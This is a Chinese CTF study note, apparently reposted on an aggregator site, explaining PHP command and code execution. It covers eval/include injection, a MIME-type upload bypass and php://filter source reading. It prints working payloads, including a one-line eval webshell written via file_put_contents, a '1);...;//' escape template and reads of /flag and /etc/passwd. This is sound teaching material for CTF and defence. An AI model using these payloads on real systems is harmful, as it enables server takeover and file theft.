当前位置: 首页 > news >正文

命令执行与代码执行

一、 命令执行与代码执行的区别

  • 命令执行 (RCE):调用操作系统的命令(如ls,cat,whoami)。
  • 代码执行:执行当前语言本身的代码(如 PHP 的函数、变量、逻辑)。
  • 注:代码执行往往可以衍生出命令执行(如 PHP 代码执行了system('cat /flag'))。

二、 危险函数与语法速查

1. 反引号` `—— 命令替换

  • 作用:将反引号内的字符串交给系统 Shell 执行,并将输出结果返回。
  • 等价于:PHP 中的shell_exec(),Shell 中的$()
  • 示例$output = `cat /etc/passwd`;
  • 防御:绝不全拼用户输入;使用escapeshellarg()/escapeshellcmd()

2.eval()—— 代码注入之王

  • 作用:将传入的字符串当作 PHP 代码执行。
  • 名言Eval is evil
  • 危险点:只要字符串中包含可控变量,就能注入任意代码。
  • 防御:坚决不用eval处理不可信数据;使用call_user_func或映射表替代动态调用。

3.file_put_contents()—— 一次性写文件

  • 语法file_put_contents(文件名, 写入内容, 标志位, 上下文)
  • 常用标志位FILE_APPEND(追加写入) |LOCK_EX(排他锁防并发冲突)。
  • 特性:等于fopen+fwrite+fclose的封装;目录不存在会报错不会自动创建。

4.include()—— 文件包含

  • 作用:读取指定文件内容,并将其作为 PHP 代码执行
  • 核心漏洞include($_GET['file'])导致任意文件包含 (LFI/RFI)。
  • 特性:无论包含什么格式的文件(.jpg,.txt,.log),只要里面包含<?php ... ?>,都会被当作 PHP 执行。

三、 核心攻击手法 (CTF 必考)

手法 1:MIME 类型绕过 (文件上传)

  • 场景:后端仅检查 HTTP 请求中的Content-Type是否为图片。
  • 标准 MIME.php对应application/x-httpd-php
  • 绕过:抓包将上传.php文件的Content-Type伪造为image/jpegimage/png,骗过服务端检查,但文件仍被解析为脚本。

手法 2:PHP 伪协议读取源码 (文件包含配合)

  • 场景include('flag.php')不会显示代码,只会执行变量赋值。
  • Payload?file=php://filter/read=convert.base64-encode/resource=flag.php
  • 效果include读取flag.php源码并以 Base64 编码输出,解码即可看到明文源码,绕过执行。

手法 3:敏感文件探测黄金标准

  • Linux/etc/passwd(验证命令执行/LFI是否存在)、/flag/flag.txt(常见 Flag 位置)。
  • WindowsC:\Windows\System32\drivers\etc\hosts

四、 🌟 代码注入核心思路:顺应语法 vs 闭合逃逸

当可控变量被强行拼接进某个函数内部时(如eval("func(".$_GET['c'].");")),有两种解题思路:

思路 A:顺应语法 (利用函数本身特性)

不破坏外层函数的结构,将恶意代码作为合法参数传入。

  • 场景 1eval("file_put_contents(".$code.");");
    • 传入:code='shell.php','<?php eval($_POST[1]);?>'
    • 执行:file_put_contents('shell.php','<?php eval($_POST[1]);?>');(直接写马)
  • 场景 2eval("include(".$code.");");
    • 传入:code='php://filter/read=convert.base64-encode/resource=flag.php'
    • 执行:include('php://filter/...');(利用伪协议读源码)

思路 B:闭合逃逸 (降维打击,无视外层函数)

强行闭合掉外层函数,注释掉多余代码,执行我们自己的代码。

  • 万能 Payload 模板1);恶意代码;//
  • 场景eval("include(".$code.");");
    • 传入:code=1);echo file_get_contents('/flag');//
    • 执行:include(1);echo file_get_contents('/flag');//);
    • 解析:include(1);报 Warning 但不致命 -> 执行echo file_get_contents读 Flag ->//注释掉后面的垃圾代码。

五、 踩坑与调试技巧 (避坑指南)

1.Use of undefined constant报错

  • 原因:字符串没有加引号。例如include(shell.php),PHP 把shell当成常量找。
  • 解决:确保拼接后的代码里字符串有引号。传入参数时要把引号带进去:code='shell.php'

2. URL 特殊字符编码

  • 原因:在 GET 请求中,单引号'、空格、尖括号<>容易解析错误或被 WAF 拦截。
  • 解决:使用 Hackbar 或 Burp 时,确保对 Payload 进行 URL 编码(如'%27,空格变%20)。

3. 终极调试法:evalecho

  • 做法:当不确定自己传参后 PHP 到底执行了什么,把题目源码里的eval换成echo
  • 效果:网页会直接打印出拼接后的完整字符串,语法错误、引号缺失一目了然。

http://www.jsqmd.com/news/1250090/

相关文章:

  • 中小企业Agent选型指南:核心能力与实施策略
  • TI KeyStone I DSP外设硬件设计实战:PCIe、AIF、DDR3接口配置与信号完整性避坑指南
  • 基于TMS320F28379D的双电机FOC快速电流环控制与SFRA分析实践
  • 2026年重庆潼南管道疏通避坑指南:快达师傅教你识别隐形收费 - 余生黄金回收
  • SCRM工具哪个靠谱?企微SCRM全方位测评指南|2026选型参考 - 资讯快报
  • 8月份去山西旅游好玩吗?五台山平遥壶口瀑布行程怎么安排?有没有适合带孩子的当地纯玩团推荐? - 实用旅游攻略分享
  • 【IEEE、浙江理工大学、南京信息工程大学联合主办 | IEEE出版 | 连续多届稳定EI检索 | 大咖组委嘉宾阵容 | 设评优评选】第十二届能源材料与电力工程国际学术会议 (ICEMEE 2026)
  • 智能体测开Day4
  • 抖音去水印哪个小程序好用?2026年手机免费去掉右下角水印教程 - 免费软件工具方法教程
  • 2026年7月最新百达翡丽上海临港海港中心万象汇维修保养服务电话 - 百达翡丽官方售后中心
  • 宇视VM新BS拼控轮巡配置指导(B3359)
  • AM6x MPU GPIO配置实战:从硬件架构到电机控制与传感器采集
  • 相机-雷达标定(一):禾赛 QT128C2X 雷达点云采集程序封装说明
  • 2026 年至今,桂东可靠的无机纤维棉喷涂施工定做厂家找哪家,别再用传统材料!揭秘无机纤维棉喷涂的惊人效率-祥实无机纤维喷涂 - 行业严选官
  • 2026金华防水补漏维修公司口碑实测推荐 专业防水公司排名推荐(2026年7月防水补漏最新TOP权威排名) - 鼎万建筑修缮
  • 制造业如何通过DeepSeek推广获客?哪家公司可以做DeepSeek推广广告? - 2027品牌AI展
  • KeyStone I处理器电源完整性设计:滤波与去耦电容实战指南
  • 融资平台引导_finta-hello-world
  • 【2019-12-21】可信执行环境TEE介绍
  • OpenCvSharp读取、显示和写入图像
  • 抖音小店一件代发如何找蓝海商品?新手选品和类目竞争分析方法 - 电商分享
  • day7
  • 2026 抖音去水印工具怎么选?实测这几款解析快又合规 - 免费软件工具方法教程
  • 深圳猎头公司收费标准大揭秘:2026深圳企业HRD与CFO必备招聘手册
  • 有没有一键转换智谱清言到 Word 的工具?AI 导出鸭一站式完成智谱清言内容转 Word,高效省心
  • 2026金华漏水维修公司严选推荐盘点 - 鼎万建筑修缮
  • AI大模型开发学习路线:从Python基础到多模态实战
  • 2026美国留学中介测评:案例多的高端留学中介有哪些 - 2027品牌AI展
  • 传统 RPA 技术瓶颈深度解析:基于大模型 Agent 的替代路径与落地实践——企业智能自动化范式迁移指南
  • 【成都信息工程大学主办 | IEEE(ISBN: 979-8-3195-3661-7)出版 | EI Compendex、Scopus检索】2026年数据与信息系统国际学术会议(DIS 2026)